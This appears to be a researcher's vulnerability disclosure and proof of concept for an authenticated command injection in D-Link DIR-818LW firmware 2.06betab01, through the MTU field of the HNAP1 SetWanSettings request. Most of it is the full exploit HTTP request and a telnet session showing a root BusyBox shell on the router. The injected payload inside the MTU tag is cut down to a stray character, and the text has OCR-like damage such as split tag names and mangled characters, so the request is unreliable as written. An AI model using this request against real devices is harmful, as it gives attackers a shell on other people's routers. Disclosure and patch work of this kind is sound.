DIR-818LW

Version

DIR818LW FW206betab01

decription

```
An issue was discovered on D-Link DIR-818LW devices with firmware 2.06betab01.
There is a command injection in HNAP1 (exploitable with Authentication) via shell
metacharacters in the MTU field to SetWanSettings.
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others

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found by wx@teamseri0us360.
please send email to teamseri0us360@gmail.com if you have any question.
```

payload

bypass the check of the "MTU" by modifying in HTTP Message

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101
Firefox/67.0
Accept: text/xml
Accept - Language: zh - CN, zh; q=0.8, zh - TW; q=0.7, zh - HK; q=0.5, en - US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/Internet.html
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetWanSettings"
HNAP AUTH: CC9EE871E8A8F0301B11CFB72A1F42E9 1562646471
Content-Length: 984
Connection: close
Cookie: uid=RWlUvTWHw0
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"</pre>
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
                <SetWanSettings xmlns="http://purenetworks.com/HNAP1/">
                         <Type>Static</Type>
                         <Username/>
                         <Password/>
                         <MaxIdleTime/>
                         <HostName/>
                         <VPNIPAddress/>
                         <VPNSubnetMask/>
                         <VPNGat eway/>
                         <ServiceName/>
                         <AutoReconnect/>
                         <IPAddress>192.166.2.1</IPAddress>
                         <Subnet Mask>255.255.254.0</Subnet Mask>
                         <Gat eway>192.166.2.3</Gat eway>
                         <ConfigDNS>
                                  <Primary>1.11.1.1</Primary>
                                  <Secondary>2.2.2.2</Secondary>
                         </ConfigDNS>
                          <MacAddress>46:DE:09:A9:80:84</MacAddress>
                        <MTU>)
                                             </MTU>
                         <DsLite_Configuration/>
<DsLite_AFTR_IPv6Address/>
                         <DsLite_B4IPv4Address/>
                         <APN/>
                         <DialNo/>
```

```
wx@wx-virtual-machine:~/iot/firmadyne$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2018-12-06 15:30:58 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# ls
firmadyne
                        lib
                                                             ргос
            home
                                     etc
                                                 bin
include
                        htdocs
                                                             mydlink
            sys
                                     WWW
                                                 tmp
                                                 sbin
                                                              lost+found
mn<u>t</u>
            var
                        usr
                                     dev
#
```

source

/etc/scripts/IPV4.INET.php